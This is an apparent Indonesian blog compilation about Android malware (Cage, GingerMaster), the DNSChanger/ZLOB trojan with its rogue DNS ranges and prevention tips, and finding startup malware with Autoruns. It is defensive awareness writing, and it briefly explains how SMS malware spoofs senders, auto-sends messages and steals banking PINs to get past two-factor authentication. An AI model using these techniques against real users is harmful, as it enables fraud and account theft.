Salah satu hal yang selama ini menjadi faktor pertahanan kuat bagi sistem operasi Android adalah root access yang terbatas sehingga jika virus menginfeksi sistem tanpa menginfeksi root akan mengalami kesulitan untuk menyebar atau menjalankan aksinya. Tetapi kabar buruk datang dari China dimana pada ternyata saat ini sudah ada dua virus yang melakukan eksploitasi terhadap sistem Android sehingga memiliki root privilege. Dengan kemampuan rooting ini mengakibatkan virus dapat melakukan hal apapun sama seperti yang dapat dilakukan oleh sistem operasi. Kedua virus tersebut adalah Cage dan Gingermaster. (lihat gambar 1 dan 2 di bawah ini)



Gambar 1, Ginger Master memanfaatkan penyanyi pop Jepang Noriko Sakai untuk menyebarkan dirinya



Gambar 2, Icon virus Ginger Master

Perkembangan virus Android sangat cepat dan mengejutkan. Pertama ditemukan pada bulan November 2010 dengan nama Geinimi yang sering disebut sebagai botnet pertama Android dengan kemampuan terbatas, hanya butuh waktu kurang dari satu tahun dimana pada bulan Juni 2011 sudah ada virus yang mampu melakukan akses pada root OS (rooting). Untuk lebih jelasnya silahkan lihat tabel dibawah ini mengenai perkembangan virus Android.



Keypad Sniff, Simulasi Keypad, intersep SMS sampai SMS forward

Lalu, setelah memiliki akses pada root yang secara tidak langsung dapat dikatakan sudah menjadi “super sanya” karena ia mampu melakukan hal apapun yang dapat dilakukan oleh sistem operasi. Tentunya anda bertanya-tanya apa yang dilakukan oleh malware ini dan bagaimana caranya ?

Pada dasarnya, teknik yang sering digunakan oleh malwareAndroid adalah Keystroke Sniff yang bekerja mirip Trojan di komputer, simulasi keypad dimana ia dapat mengirimkan DTMF (Dual Tone Multi Frequency) secara otomatis tanpa disadari oleh yang empunya smartphone dan yang ketiga adalah kemampuan mengintersep SMS dimana hal ini sangat berbahaya jika SMS yang diintersep adalah SMS penting seperti PIN Internet Banking atau password dan data sensitif. Setelah aksi intersep SMS dilakukan, saudara kembarnya manipulasi SMS akan dijalankan dimana smartphone Android yang terinfeksi akan digunakan untuk mengirimkan SMS secara otomatis ke nomor yang telah ditentukan oleh pembuat malware.

Lalu anda bertanya lagi, kira-kira bahaya apa yang nyata dengan tiga kemampuan di atas bagi para pengguna smartphone ?

Skenarionya mudah, anda tidak perlu mencari Nia Dinata untuk mengetahui hal ini. Pertama, jika pada saat ini untuk mendaftarkan diri pada layanan SMS premium sudah ada ketentuan bahwa provider jasa konten ini HARUS mengirimkan SMS dan untuk registrasi layanan tersebut tidak dapat dilakukan secara otomatis oleh penyedia konten tetapi harus dilakukan secara manual oleh pemilik smartphone dengan cara mengirimkan SMS tertentu ke nomor yang telah ditentukan. Dengan sedikit modifikasi yang simple, virus Android dapat digunakan untuk mendaftarkan smartphone yang diinfeksinya pada layanan konten premium ini tanpa seizin / sepengetahuannya.

Skenario yang kedua yang lebih mengkhawatirkan adalah SMS digunakan sebagai salah satu faktor pengaman dalam melakukan internet banking dimana ada satu bank swasta asal negeri Jiran yang mengirimkan PIN otorisasi transaksi internet banking ke SMS pemilik rekening. Dengan kerjasama yang ciamik antara virus Android yang bertugas mencuri PIN otorisasi transaksi dengan phishing website akan menjadikan aksi pembobolan rekening internet banking menjadi kenyataan. Sekalipun sudah diproteksi dengan metode TFA (Two Factor Authentication.



Kabar buruk lain yang seharusnya menjadi PR (Pekerjaan Rumah) bagi provider Telco adalah kemampuan memalsukan sender SMS. Jadi dengan mudahnya malware dapat mengirimkan SMS ke mana saja dengan memalsukan nama sendernya, apakah dari Provider telco (Indosat, Telkomsel atau XL), Bill Gates atau Steve Jobs sekalipun dapat dilakukan. Lucunya, teknik mengirimkan SMS secara otomatis tidak terlalu rumit. Cukup dengan memindahkan SMS yang ingin dikirim ke direktori “outbox” maka secara otomatis SMS tersebut akan dikirimkan. Dan yang tidak kalah lucu lagi (mungkin supaya korban virus awet muda jadi tertawa terus) jika ada SMS disimpan ke “inbox” maka sistem akan secara otomatis memberikan notifikasi ada SMS masuk.


Kenyataan hari ini

Kita mengharapkan anda jangan langsung jual Android anda tukar dengan Blackberry :p. Pada saat ini ancaman yang nyata adalah kemampuan memalsukan dan mengirimkan SMS palsu atau melakukan telepon tanpa sepengetahuan pemilik smartphone (namanya juga smartphone yah, terlalu pintar sehingga pemiliknya kalah smart). Aksi memalsukan Keypad saat ini belum ditemukan pada virus Android, tetapi hal ini sudah banyak sekali ditemukan pada virus Symbian. Jadi secara teknis hal ini sudah terbukti ada tetapi beda sistem operasi. Dan diyakini dalam waktu sangat dekat virus Android dengan kemampuan memalsukan keypad akan bermunculan.



Bagaimana dengan ancaman bagi komunitas Android di Indonesia ? Indonesia memang unik, tanpa menggunakan virus sekalipun, dengan hanya bermodalkan rekayasa sosial para kriminal sudah banyak memakan korban. Sebagai contoh, penipuan yang berteknologi rendah seperti penipuan seakan-akan korbannya menang undian atau mama Jambul SMS minta Papa mengirimkan pulsa karena pulsanya habis atau Mama sedang di kantor polisi sangat marak di Indonesia. Hebatnya teknik seperti inipun mempan dan memakan banyak korban, jadi kadang-kadang penulis bingung dalam mengambil kesimpulan, sebenarnya yang jago penipunya atau korbannya yang kurang cermat ? Atau memang orang Indonesia kebanyakan mudah percaya kali yah. Bagaimana kalau virus Android dengan kemampuan pemalsuan keystroke sudah sampai di Indonesia ...... para pengguna Android harap meneguhkan iman dan kantong anda.

Lalu solusi apa bagi pengguna Android di Indonesia ? Kelihatannya menggunakan antivirus untuk Android perlu dipertimbangkan. Di Android market ada banyak antivirus, dari yang gratis sampai yang berbayar. Salah satunya adalah G Data Mobile Security yang bisa di dapatkan secara gratis untuk seluruh pengguna antivirus G Data komersial lainnya (G Data Antivirus for Windows).

[Trojan DNS CHANGER] ZLOB Varian Manipulasi DNS

Trojan.DNSChanger
Manipulator DNS keluarga ZLOB


Sebelumnya saya ucapkan selamat malam untuk pembuka artikel ini, nah pasti semua masih ingat akan tingkah yang telah dilakukan oleh pihak FBI beberapa bulan yang lalu.
Dalam beberapa bulan ini tampaknya para pengguna internet di seluruh dunia sangat disibukkan oleh berbagai berita seputar internet dan FBI. Dari mulai RUU ACTA, SOPA & PIPA hingga sebuah "isu besar" ditutupnya internet oleh FBI karena sebuah trojan.

Jika karena RUU ACTA bos besar MegaUpload (Kim DotCom) ditangkap oleh FBI karena dugaan penyimpanan konten-konten ilegal sehingga situs MegaUpload ditutup, dan kali ini internet "ditutup" karena server DNS sementara yang dipasang FBI akan dilepas.

Tahun lalu (tepatnya Nopember 2011) FBI telah menangkap 6 orang di Estonia yang diduga bertanggung jawab akan penyebaran sebuah trojan yang menginfeksi lebih dari 100 negara (ratusan ribu komputer di dunia). Dampak trojan ini yang akan menyebabkan DNS komputer dari pengguna internet berubah, dan pengguna internet secara tidak sadar akan mengakses situs/website yang berbeda/salah (walaupun terlihat sama dan mirip). Dengan cara ini maka pembuat malware akan dengan mudah mendapatkan informasi dari pengguna internet yang telah terinfeksi. Walau kelompok tersebut sudah ditangkap, tetapi karena banyak-nya pengguna komputer yang terinfeksi maka FBI memasang sementara server DNS yang diakses oleh pengguna komputer yang terinfeksi (hingga 8 maret 2012), sementara bagi pengguna internet yang sudah terinfeksi disarankan untuk segera membersihkan trojan tersebut dari komputer. Jika sudah melewati tanggal 8 Maret 2012, maka server DNS tersebut akan dimatikan oleh FBI, dan pengguna internet yang masih terinfeksi trojan tersebut tentunya tidak dapat mengakses internet.

Sejak Nopember 2011, hingga kini masih banyak pengguna komputer yang terinfeksi oleh malware ini yang diidentifikasi sebagai Trojan.DNSChanger.
zoom image.

Varian Keluarga ZLOB
Keluarga ZLOB merupakan salah satu kelompok trojan/backdoor yang dirancang untuk menginfeksi sistem komputer memanfaatkan kelemahan aplikasi pada browser/explorer. Melalui pihak ketiga (browser) maka ZLOB dapat dengan mudah menginfeksi komputer yang berbeda sistem operasi (seperti Windows atau Mac).

Trojan DNS.Changer biasa juga disebut TDSS, Tidserv, Alureon, Flush, dan Zlob. Varian ini sudah muncul sejak 2007 dan begitu terkenal di dunia pada tahun 2008 karena kemampuan merubah DNS Server pada komputer korban. Trojan.DNSChanger tidak hanya menginfeksi komputer Windows tetapi juga menginfeksi komputer Macintosh. Trojan ini memiliki cara kerja yang mirip dengan FakeAV karena merupakan salah satu keluarga dari varian malware ZLOB.

Pada Nopember 2011, trojan DNS.Changer muncul kembali dan menginfeksi ratusan ribu komputer di dunia hingga saat ini.


Gejala/Dampak Trojan.DNSChanger

* Tidak bisa mengakses situs/website keamanan dan situs/website tertentu

Jika anda sudah terinfeksi oleh Trojan.DNSChanger maka komputer anda tidak dapat mengakses situs/website keamanan seperti situs antivirus (McAfee, Symantec, Kaspersky, Gdata, Eset, dll). Hal ini digunakan agar menjaga komputer tetap dalam keadaan terinfeksi dan mencegah update antivirus. Hal sama juga berlaku pada situs/website tertentu seperti Google.com.

zoom image

* Dapat mengakses situs/website, tetapi berbeda/salah (walau terlihat sama dan mirip)

Cara ini digunakan oleh varian malware FakeAV agar pengguna yang terinfeksi mengakses situs/website yang telah disiapkan dan berharap pengguna internet dapat dikelabui dan mendapatkan informasi yang dimiliki pengguna komputer.

* Koneksi internet lambat

Hal ini dikarenakan koneksi internet melalui DNS yang telah dirubah dan aktivitas internet yang justru digunakan Trojan.DNSChanger untuk melakukan broadcast, sinkronisasi, update dan download malware pada server pembuat malware.

* DNS komputer berubah

Secara otomatis DNS komputer akan dialihkan pada beberapa IP Address yang telah ditentukan pembuat malware. Hal ini yang menyebabkan pengguna internet tidak sadar bahwa DNS komputer telah berubah.
Beberapa IP Address yang digunakan diantaranya :

# 85.255.112.0 - 85.255.127.255
# 67.210.0.0 - 67.210.15.255
# 93.188.160.0 - 93.188.167.255
# 77.67.83.0 - 77.67.83.255
# 213.109.64.0 - 213.109.79.255
# 64.28.176.0 - 64.28.191.255


Metode Penyebaran Trojan.DNSChanger
Pembuat malware Trojan.DNSChanger melakukan penyebaran melalui berbagai cara yang dilakukan persis dengan metode FakeAV melalui internet.

* Melakukan posting pada komentar sebuah blog, posting pada forum-forum komunitas, dan aktif posting pada milis dan jejaring sosial.

Dengan cara ini pembuat malware mencoba mengirim sebuah link URL yang diarahkan untuk menuju situs tertentu yang telah disisipkan Trojan.DNSChanger.

* Membuat situs palsu dan mengeksploitasi situs tertentu.

Dengan cara ini pembuat malware akan menyisipkan script malware pada situs yang dibuat sehingga pengguna internet yang tidak sengaja mengakses situs ini akan mendowload Trojan.DNSChanger.

zoom image

Jika Trojan.DNSChanger telah berhasil didownload melalui browser/explorer, maka memanfaatkan celah browser akan langsung terinstall/aktif secara otomatis. Disinilah Trojan.DNSChanger akan aktif dan melakukan aksinya.

Selama anda aktif menggunakan internet via browser (IE, Firefox,dll), maka selama itu pula komputer anda akan berjalan melalui DNS Server yang telah dirubah oleh Trojan.DNSChanger.



Tips Memastikan komputer anda tidak terinfeksi Trojan.DNSChanger

** (Lakukan salah satu saja, tidak perlu lakukan semua langkah ini)

* Cek DNS komputer via Command Prompt

* Pada Start Menu [All Programs] [Accessoris] [Command Prompt] (atau ketik CMD pada Menu RUN).
* Pada Command Prompt, ketik : ipconfig/all
* Pastikan DNS Server anda tidak berubah.

zoom image

* Cek DNS komputer via Network Connection

* Klik Kanan pada "Local Area Connection" pada taskbar dan pilih "Status".
* Pada "Local Area Connection Status", klik pada tab "Support" dan klik "Details".
Pastikan DNS Server anda tidak berubah.

zoom image


*Cek file Host

* Pada [Start] Menu [All Programs] [Accessoris][Command Prompt] (atau ketik notepad pada Menu RUN).

* Pada Notepad, klik File  Open. Akses ke C:\WINDOWS\system32\drivers\etc.
* Pada "Files of type" rubah jadi "All Files". Pilih "hosts" dan klik Open.
* Pastikan HOSTS file anda tidak berubah.

zoom image


* Cek konfigurasi browser

* Pada Internet Explorer, dapat diakses pada Tools  Internet Options. Pada tab "Connection", klik pada "Lan Settings".
* Pada Mozilla Firefox, dapat diakses pada Tools  Options. Pada tab "Advanced", klik tab "Network", dan klik "Settings".
* Pada Google Chrome, pada Customize and control…  Options Under the Hood. Pada tab Network, klik "Change Proxy Setting".
* Pastikan konfigurasi browser anda tidak berubah.

zoom image

* Cek DNS pada router

Bagi anda yang menggunakan jaringan korporat, sebaiknya lakukan pula pengecekan pada DNS yang ada pada router/firewall anda.

* Cek IP Address anda dengan mengunjungi situs : dns cek.

zoom image


Tips Mencegah Trojan.DNSChanger

1. Aktifkan Windows Firewall atau gunakan software firewall yang lain. Hal ini untuk mencegah dari akses yang tidak di-inginkan.

2. Pastikan komputer sudah mendapatkan update terbaru dari system Windows. Untuk mempermudah gunakan update otomatis dari system seperti "Automatic Updates". Atau bisa juga dengan men-download patch terbaru dari website Microsoft.

3. Gunakan antivirus yang selalu terupdate dengan baik. Hal ini untuk mempermudah terhadap varian-varian dari malware yang baru.
4. Pastikan aplikasi yang digunakan juga sudah terupdate, terutama aplikasi browser, chat/messenger dan aplikasi email.
5. Install aplikasi tambahan yang melindungi browser anda dari penyebaran malware Trojan.DNSChanger. Salah satunya adalah Gdata Cloud Security untuk melindungi aktivitas browsing anda yang dapat di download secara gratis dari Cloud Seccurity.

zoom image

6. Berhati-hati saat membuka file attachment e-mail atau saat menerima transfer file dari orang yang tidak dikenal. Pastikan selalu di scan dengan antivirus yang terupdate. Dan juga berhati-hati terhadap link URL yang disertakan pada email. Informasikan kepada pengirim email mengenai link URL yang dikirimkan.
7. Berhati-hati terhadap program crack/keygen atau program-program yang tidak dikenal. Karena bisa saja sudah terinfeksi atau mengandung malware.
8. Berhati-hati saat mengakses sebuah website atau forum yang menyediakan link-link tertentu untuk di-download atau di-install.
9. Jika anda merasa sudah terinfeksi, sebaiknya lakukan perubahan seluruh password yang digunakan terutama yang berhubungan dengan internet seperti email, online-banking, jejaring social, chat/messenger dan lain-lain.

[Tutorial] Cara Untuk Mendeteksi Keberadaan Virus

Di hari yang cukup panas ini serta mata yang sangat panas pula tanda waktu untuk di pejamkan sejenak, namun sebelum terpejam saya sempatkan untuk membuat artikel ini :D.

Tips ini mungkin sedikit bermanfaat bagi anda yang belum tau, dan buat mas mas yang lebih tau mohon di benarkan bilamana ada kesalahan :), sebelumnya apakah anda pernah mengalami keanehan yang terjadi dengan pc anda? Ada beberapa indikasi yang mungkin bisa dijadikan dasar untuk memperkirakan apakah komputer kita terinfeksi virus ( Untuk Sistem Operasi Windows ), diantaranya :

* Komputer mulai berjalan sangat lambat, ini juga bisa terjadi karena banyaknya program yang kita install dan berjalan di background
* Munculnya file-file aneh di folder tertentu. Misalnya file yang bernama sama dengan file dokumen atau nama folder
* Komputer sering restart atau mati sendiri sewaktu-waktu atau kita membuka program khusus seperti Task Manager, anti virus dan lainnya
* Adanya logo tertentu jika kita klik kanan My Computer > Properties
* Hilangnya beberapa opsi di komputer atau program tidak bisa berjalan, seperti tidak bisa membuka Folder Options atau menunya hilang, tidak bisa menjalankan Registry Editor, Membuka kotak Run, Command Prompt dan lainnya
* Program Anti virus dan sejenisnya tidak bisa berjalan
* Terkadang muncul pesan-pesan aneh seperti aplikasi salah dan sejenisnya

Jika komputer anda mengalami beberapa indikasi diatas, berikut tips untuk mencari lokasi virus yang kemungkinan menyerang komputer kita.

Sebelumnya ada tools/program yang diperlukan, yaitu Autoruns yang merupakan merupakan bagian dari tools SysinternalsSuit Selengkapnya juga bisa dilihat disini.

Untuk melakukan pengecekan, pertama-tama silahkan dibuka program Autoruns

, kemudian pilih tab Logon. Daftar yang ditampilkan merupakan file-file atau program yang berjalan bersama Windows ketika kita mengaktifkan komputer. Jika ada file-file yang aneh atau tidak penting maka bisa di non aktifkan, dengan menghilangkan tanda check. Tetapi hati-hati, jangan salah menonaktifkan program, karena bisa berakibat Windows tidak berhasil hidup. Berikut beberapa daftar yang merupakan program atau aplikasi yang dimiliki Windows dan sebaiknya tetap dibiarkan, jangan dihilangkan tanda checknya :

# rdpclip, merupakan aplikasi utama yang menangani masalah Copy File. Menyediakan fungsi bagi Terminal Services server yang mengijinkan copy dan paste antara server dan client. Program is important penting untuk kestabilan dan keamanan komputer, jadi biarkan saja
# userinit, merupakan kunci proses di sistem operasi Windows. Pada proses boot-up aplikasi ini mengatur urutan start up yang diperlukan, seperti Koneksi jaringan, dan Windows Shell. Program ini sangat penting, jangan dimatikan
# explorer, merupakan program manager atau Windows Explorer. Aplikasi ini mengatur Tampilan Windows, Start Menu, taskbar, DEsktop dan File Manager. Jika dimatikan maka tampilan/antarmuka windows tidak akan muncul.
# ctfmon, merupakan proses aplikasi yang dimiliki Microsoft Office, mengatur masalah Alternative User Input Text Input Processor (TIP) dan Microsoft Office XP Language Bar. Program ini tidak harus jalan, tetapi sebaiknya tidak dimatikan.


Ketiga file pertama merupakan aplikasi yang biasanya senantiasa ada di sistem operasi windows ( kecuali windows 9x / ME, yang mungkin hanya userinit dan explorer), dan seharusnya dibiarkan saja, sedang aplikasi keempat muncul jika terdapat aplikasi Microsoft Office di sistem. Dan penting diperhatikan bahwa dua aplikasi pertama diatas ( rdpclip dan userinit ) lokasinya ( kolom Image Path ) ada di C:\Windows\sistem32, aplikasi explorer ada di folder C:\Windows, sedang ctfmon ada di folder C:\Windows\sistem32, dengan asumsi kita install Sistem operasi di Drive C:. Selain keempat file diatas, bisa dicermati lokasi filenya dikolom Image Path, Apakah file tersebut merupakan anti virus, anti spyware, Sound manager, tools untuk printer dan sebagainya. Jika ada aplikasi yang lokasinya di tempat aneh atau di windows system, tetapi kita tidak mengenalinya atau tidak pernah menginstall aplikasi tersebut, bisa jadi merupakan virus.

Ada beberapa hal ketika kita mencermati daftar yang ada dalam Autoruns tersebut. Terkadang virus, Trojan, Malware dan sejenisnya akan menggunakan nama yang sama atau mirip dengan aplikasi yang dimiliki windows seperti explorer, expiorer, exploler, spooler dan sebagainya, maka perlu dicermati nama dan lokasinya. Misalnya ada nama explorer tetapi lokasinya bukan di C:\Windows, maka bisa jadi adalah virus. Selain itu, jika kita hilangkan tanda check program atau aplikasi tertentu kemudian setelah beberapa waktu di refresh kembali lagi atau muncul lagi, maka kemungkinan besar aplikasi tersebut merupakan salah satu virus.

Semoga artikel ini bisa menjadikan anda selaku pembaca untuk menjadi lebih waspada akan file-file yang ada pada pc anda, sekian dulu artikel dari saya |-).